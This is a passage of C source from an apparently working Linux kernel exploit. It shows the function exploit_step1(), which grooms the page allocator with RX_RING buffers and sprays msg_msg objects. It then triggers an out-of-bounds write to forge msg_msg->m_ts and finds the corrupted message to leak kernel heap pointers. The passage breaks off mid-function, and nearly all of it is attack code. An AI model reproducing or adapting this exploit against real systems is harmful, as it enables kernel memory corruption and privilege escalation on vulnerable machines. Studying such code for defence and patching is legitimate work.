exploit_step1() —— leak kmalloc-0x400 (msg_msg->m_list.next / prev)
| 761 | } |
| 762 | // exploit_step1() —— leak kmalloc-0x400 (msg_msg->m_list.next / prev) |
| 763 | int exploit_step1() { |
| 764 | char buff[0x1000]; |
| 765 | // 3-1. heap fengshui: drain 0x1000~0x10000 to make next allocation adjacent (using RX_RING buffer) |
| 766 | logd("[3-1] heap fengshui: drain 0x1000~0x10000 to make next allocation adjacent (using RX_RING buffer) ..."); |
| 767 | pagealloc_pad(1000, 0x1000); |
| 768 | pagealloc_pad(500, 0x2000); |
| 769 | pagealloc_pad(200, 0x4000); |
| 770 | pagealloc_pad(200, 0x8000); |
| 771 | pagealloc_pad(100, 0x10000); |
| 772 | // 3-2. spray 0x20 0x10000 RX_RING buffer and free half (odd index) |
| 773 | int fengshui_skfd[fengshui_skfd_cnt]; |
| 774 | for (int i = 0; i < fengshui_skfd_cnt; i++) |
| 775 | fengshui_skfd[i] = pagealloc_pad(1, 0x10000); |
| 776 | |
| 777 | for (int i = 1; i < fengshui_skfd_cnt; i += 2) { |
| 778 | close(fengshui_skfd[i]); |
| 779 | fengshui_skfd[i] = -1; |
| 780 | } |
| 781 | |
| 782 | // 3-3. spray 0x400 (msg_msg + msg_msgseg) -> (0x1000 + 0x400) |
| 783 | logd("[3-3] spray 0x400 (msg_msg + msg_msgseg) -> (0x1000 + 0x400) ..."); |
| 784 | for (int i = 0; i < NUM_MSQIDS_1; i++) { |
| 785 | msg_a->mtype = MTYPE_A; |
| 786 | memset(msg_a->mtext, 'Q', MSG_A_TEXT_SIZE); |
| 787 | ((int *)msg_a->mtext)[0] = MSG_SIG; |
| 788 | ((int *)msg_a->mtext)[1] = i; |
| 789 | if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) |
| 790 | die("msgsnd(): %m"); |
| 791 | } |
| 792 | // 3-4. free another half RX_RING buffer |
| 793 | logd("[3-4] free another half RX_RING buffer ... "); |
| 794 | for (int i = 0; i < fengshui_skfd_cnt; i++) { |
| 795 | if (fengshui_skfd[i] > 0) { |
| 796 | close(fengshui_skfd[i]); |
| 797 | fengshui_skfd[i] = -1; |
| 798 | } |
| 799 | } |
| 800 | // 3-5. trigger OOB to forge msg_msg->m_ts |
| 801 | logd("[3-5] trigger OOB to forge msg_msg->m_ts ..."); |
| 802 | uint64_t vuln_buf[] = { |
| 803 | 0, // m_list.next |
| 804 | 0, // m_list.prev |
| 805 | MTYPE_A, // m_type |
| 806 | MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), // m_ts |
| 807 | }; |
| 808 | trigger_vuln(&vuln_buf, sizeof(vuln_buf)); |
| 809 | |
| 810 | // 3-6. find the corrupted msg_msg (list1_corrupted_msqid) |
| 811 | logd("[3-6] find the corrupted msg_msg (list1_corrupted_msqid) ..."); |
| 812 | for (int i = 0; i < NUM_MSQIDS_1; i++) { |
| 813 | ssize_t copy_size = msgrcv(msqid_1[i], msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT); |
| 814 | if (copy_size < 0) |
| 815 | continue; |
| 816 | if (copy_size == MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400)) { // succeed OOB forge msg_msg->m_ts |
| 817 | logi("[+] corrupted msg_msg found, id: %d", msqid_1[i]); |
| 818 | list1_corrupted_msqid = msqid_1[i]; // list1_corrupted_msqid |
| 819 | msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); // replace |
| 820 | uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE); |
no test coverage detected